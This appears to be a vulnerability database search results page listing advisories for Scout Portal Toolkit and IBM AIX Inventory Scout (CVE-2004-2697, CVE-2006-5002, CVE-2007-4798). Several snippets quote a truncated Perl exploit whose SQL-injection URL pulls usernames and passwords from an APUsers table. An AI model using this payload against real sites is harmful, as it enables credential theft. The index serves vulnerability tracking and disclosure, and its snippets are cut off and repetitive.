405 matches found
Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ===================================================================== Scout Portal Toolkit new or die; my...
Scout Portal Toolkit 1.4.0 - ParentId SQL Injection
Scout Portal Toolkit 1.4.0 - ParentId SQL Injection !/usr/bin/perl Scout Portal Toolkit new or die; my $go=$cnx-get$victim."/SPT--BrowseResources.php?ParentId=337+and+1=2+union+all+select+0,1,2,3,4,concatUserName,char34,UserPassword,6,7,8+from+APUsers/"; if $go-content = m/APUsers/\'...
Scout Portal Toolkit 1.4.0 - 'ParentId' SQL Injection
!/usr/bin/perl Scout Portal Toolkit new or die; my $go=$cnx-get$victim."/SPT--BrowseResources.php?ParentId=337+and+1=2+union+all+select+0,1,2,3,4,concatUserName,char34,UserPassword,6,7,8+from+APUsers/"; if $go-content = m/APUsers/\' class=''.?/ms print "+ $1\n\n"; else print "\n- exploit...
CVE-2004-2697
Technical details for CVE-2004-2697 are not publicly available in the provided documents; monitor for updates.
CVE-2004-2697
The Inventory Scout daemon invscoutd 1.3.0.0 and 2.0.2 for AIX 4.3.3 and 5.1 allows local users to gain privileges via a symlink attack on a command line argument log file. NOTE: this might be related to CVE-2006-5002...
CVE-2004-2697: Concurrent Execution using Shared Resource with Improper Synchronization
The Inventory Scout daemon invscoutd 1.3.0.0 and 2.0.2 for AIX 4.3.3 and 5.1 allows local users to gain privileges via a symlink attack on a command line argument log file. NOTE: this might be related to CVE-2006-5002...
Design/Logic Flaw
Unspecified vulnerability in invscout in Inventory Scout in invscout.rte in IBM AIX 5.2 and 5.3 allows local users to delete system files that have names matching the final substring of a hostname alias, as demonstrated by hostnames ending in "unix"...
CVE-2007-4798
Unspecified vulnerability in invscout in Inventory Scout in invscout.rte in IBM AIX 5.2 and 5.3 allows local users to delete system files that have names matching the final substring of a hostname alias, as demonstrated by hostnames ending in "unix"...
CVE-2007-4798
Unspecified vulnerability in invscout in Inventory Scout in invscout.rte in IBM AIX 5.2 and 5.3 allows local users to delete system files that have names matching the final substring of a hostname alias, as demonstrated by hostnames ending in "unix"...
CVE-2007-4798: Undefined Security Weakness
Unspecified vulnerability in invscout in Inventory Scout in invscout.rte in IBM AIX 5.2 and 5.3 allows local users to delete system files that have names matching the final substring of a hostname alias, as demonstrated by hostnames ending in "unix"...
IBM AIX Inventory Scout本地拒绝服务漏洞
IBM AIX是一款商业性质的操作系统。 IBM AIX invscout代码存在访问验证问题，本地攻击者可以利用漏洞删除重要系统文件进行拒绝服务攻击。 invscout用于执行Inventory Scout进程的独立运行版本的实例。目前没有详细漏洞细节提供。 IBM AIX 5.3 IBM AIX 5.2 采用如下补丁： IBM AIX 5.2 IBM invscoutifix.tar.Z ftp://aix.software.ibm.com/aix/efixes/security/invscoutifix.tar.Z IBM AIX 5.3 IBM invscoutifix.tar....
IBM AIX Inventory Scout本地任意文件覆盖漏洞
IBM AIX是一款商业性质的UNIX操作系统。 IBM AIX的invscoutClientVPDSurvey在执行重要产品数据库调查时存在错误，可能允许本地攻击者覆盖任意文件的内容从而导致拒绝服务。 IBM AIX 5.3 IBM AIX 5.2 临时解决方法： 如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁： 删除invscoutClientVPDSurvey的setuid位： chmod 555 /opt/IBMinvscout/bin/invscoutClientVPDSurvey 厂商补丁： IBM ---...
IBM AIX utilities multiple security vulnerabilities
Xclock buffer overflow; utape, cfgmgr, rdist, uucp, snappd, named8 and mkvg privilege escalation; slip.login and Inventory Scout arbitrary file overwrite...
CVE-2006-5002
Unspecified vulnerability in IBM Inventory Scout for AIX 2.2.0.0 through 2.2.0.9 invscoutClientVPDSurvey allows attackers to overwrite arbitrary files via unspecified vectors...
CVE-2006-5002
CVE-2006-5002 affects IBM Inventory Scout for AIX 2.2.0.0–2.2.0.9 (invscoutClient_VPD_Survey). The vulnerability description states an unspecified flaw that allows attackers to overwrite arbitrary files via unspecified vectors, with partial integrity impact reported in CVSS data. Connected source...
CVE-2006-5002
Unspecified vulnerability in IBM Inventory Scout for AIX 2.2.0.0 through 2.2.0.9 invscoutClientVPDSurvey allows attackers to overwrite arbitrary files via unspecified vectors...
CVE-2006-5002: Undefined Security Weakness
Unspecified vulnerability in IBM Inventory Scout for AIX 2.2.0.0 through 2.2.0.9 invscoutClientVPDSurvey allows attackers to overwrite arbitrary files via unspecified vectors...
[SA22062] IBM AIX Inventory Scout Arbitrary File Overwrite Vulnerability
TITLE: IBM AIX Inventory Scout Arbitrary File Overwrite Vulnerability SECUNIA ADVISORY ID: SA22062 VERIFY ADVISORY: http://secunia.com/advisories/22062/ CRITICAL: Less critical IMPACT: Manipulation of data WHERE: Local system OPERATING SYSTEM: AIX 5.x http://secunia.com/product/213/ DESCRIPTION: ...